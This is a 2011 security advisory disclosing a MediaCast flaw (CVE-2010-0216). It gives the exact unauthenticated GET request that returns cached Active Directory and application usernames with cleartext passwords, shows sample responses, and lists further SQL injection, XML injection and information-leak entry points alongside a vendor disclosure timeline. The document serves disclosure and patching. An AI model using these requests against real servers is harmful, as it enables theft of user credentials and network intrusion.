Vulmon
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Packetninjas L.L.C
www.packetninjas.net
-= Security Advisory =-
Advisory: MediaCast Password Dump Vulnerability
Release Date: 04/25/2011
Author: Daniel Clemens [daniel.clemens[at]packetninjas.net]
Application: MediaCast <= 8 (By Inventive, Inc) - http://www.InventiveTec.com
Description:
Vulnerabilities exist within the MediaCast application have been discovered that allow
an unauthenticated user to force the application to return critical values (Username
and Password Information) to the end user within verbose error messages.
By sending a GET request to /authenticate_ad_setup_finished.cfm?UserID=<ID>&ClearSession=1
( or /authenticate_ad_setup_finished.cfm?UserID=<ID> )
usernames and passwords of previously cached Active Directory
credentials would be displayed as well as specific application level user name and
password information (which at times could differ from AD credentials if the
credentials have been updated within Active Directory and the user hasn't logged into
the web application with new credentials).
The impact of this vulnerability is that an attacker has the ability to enumerate sequential
usernames as well as the clear text passwords associated with users within the application
and Active Directory Domain.
Further review of the root cause of this vulnerability was not performed during the analysis
of this vulnerability since these issues were discovered during a remote penetration test
of a network in contrast to a dedicated application review.
Besides obvious correlation between verbose error message output and
incorrect or non-existant exception handlers, it appears that this vulnerability
exists due because the following conditions met:
* Incorrect Session Handling and Implementation (on /authenticate_ad_setup_finished.cfm)
* Incorrect Logic implementation
* Clear Text Storage of password information
* Active ldap integration with existing Active Directory Domain
* Possibly a problem with the cold fusion dll that is aiding in the AD integration....
Risk: Critical
Vendor Status: Patch Available
http://www.packetninjas.net/storage/advisories/MediaCast-PWDump-FINAL.txt
Misc Notes:
About MediaCast:
"MediaCAST combines a Web-enabled learning management system with the tools to create,
manage, and deliver live and on-demand IP multimedia anytime, anywhere. It is feature-rich,
easy-to-use and efficient platform for creating and managing multimedia content and delivering
online learning programs"
Proof of Concept:
Sequential GET Request:
/authenticate_ad_setup_finished.cfm?UserID=<ID>&ClearSession=1
/authenticate_ad_setup_finished.cfm?UserID=<ID>
Request:
/authenticate_ad_setup_finished.cfm?UserID=<ID>&ClearSession=1
Response:
Programs,Courses,Sections,Resources
IP_Address x.x.x.x
IsAdmin 0
IsGeneric 0
IsInstructor 1
IsManager 0
IsTrainingManager 0
OrganizationID 20
Password mycrazycleartextpassword!
SetTopMode 0
SystemID 20
SystemType MediaCAST
UploadMethod 1 UserID 31337
Username craig.mckenna
VersionNumber 8
WebCT 0
cfid 490595
cftoken 4CA9DA0E-956B-4A61-A6F3DB4FFCC98BDA
email [null] emailAddress [null]
sessionid INVENTIVE_490595_4CA9DA0E-956B-4A61-A6F3DB4FFCC98BDA
urltoken CFID=490595&CFTOKEN=4CA9DA0E-956B-4A61-A6F3DB4FFCC98BD
Request:
GET /authenticate_ad_setup_finished.cfm?UserID=<ID>
Example Response:
<td class='cfdump_td_query'>1</td>
<td class='cfdump_td_value'>1069</td>
<td class='cfdump_td_value'>abc</td>
<td class='cfdump_td_value'>abcpass123</td>
<td class='cfdump_td_value'>2009-12-07 09:12:30.000</td>
<td class='cfdump_td_value'>[null]</td>
<td class='cfdump_td_value'>[null]</td>
<td class='cfdump_td_value'>1</td>
<td class='cfdump_td_value'>[null]</td>
<td class='cfdump_td_value'>[null]</td>
<td class='cfdump_td_value'>0</td>
<td class='cfdump_td_value'>company name</td>
<td class='cfdump_td_value'>[empty string]</td>
Disclosure Timeline:
July 21, 2010 - Initial Contact with client using MediaCAST which enabled remote root of network
during remote penetration test.
August 11, 2010 - Email contact as well as phone calls placed to vendor
August x, 2010 - Multiple calls to developers, support etc.
August 24, 2010 - Vendor Response
"You are correct that the system was displaying verbose error messages that contained
information that could be used in a nefarious way.
I have turned off the display of this extended debugging information.
I have also addressed the issue with the /authenticate_ad_setup_finished.cfm URL
such that it traps the problematic condition and redirects the user to the login page."
Recommendation:
- Patch to the most current version of MediaCast, or patch current MediaCast application.
CVE Information: CVE-2010-0216
Misc. Items that should be patched with patched deployed by MediaCast:
1) Default Blue Dragon Administrative Interface exposed to the Internet in default installations.
This should really be bound to localhost:10000
- Misc xss vulns were present in this piece of software.
2) XML Injection - /inventivex/mangetraining/ CP_RIGHTSOURCE , bdclient_Inventive Cookie
3) SQL Injection through /authenticate_ad_setup_finished.cfm
4) SQL Injection MediaCast SQL Injection /inventivex/managetraining [ CP_ENLARGESTYLE cookie ] injection
5) Mediacast Application Information Leakage URI: /inventivex/isptools/release/metadata/globalIncludeFolders.txt
-- snip --
globalExcludeFolders.txt
Public\inventivex\isptools\release\archive\*
Public\inventivex\isptools\release\metadata\*
Public\*.zip
Public\Copy of*
Public\Backup of*
Public\rsync\rsync_log\*.txt
Public\images.zip
Public\mysql_odbc.msi
-- snip --
| Daniel Uriah Clemens
| Packetninjas L.L.C | | http://www.packetninjas.net
| c. 205.567.6850 | | o. 866.267.8851
"Moments of sorrow are moments of sobriety"
-----BEGIN PGP SIGNATURE-----
iD8DBQFNtE3blZy1vkUrR4MRAmTDAJ4gUgUpOen7gc50eQxl1/pG9QHi1QCdFixs
adarnuyShSYjBWVw2SlmbRE=
=Ip9H
-----END PGP SIGNATURE-----
<p>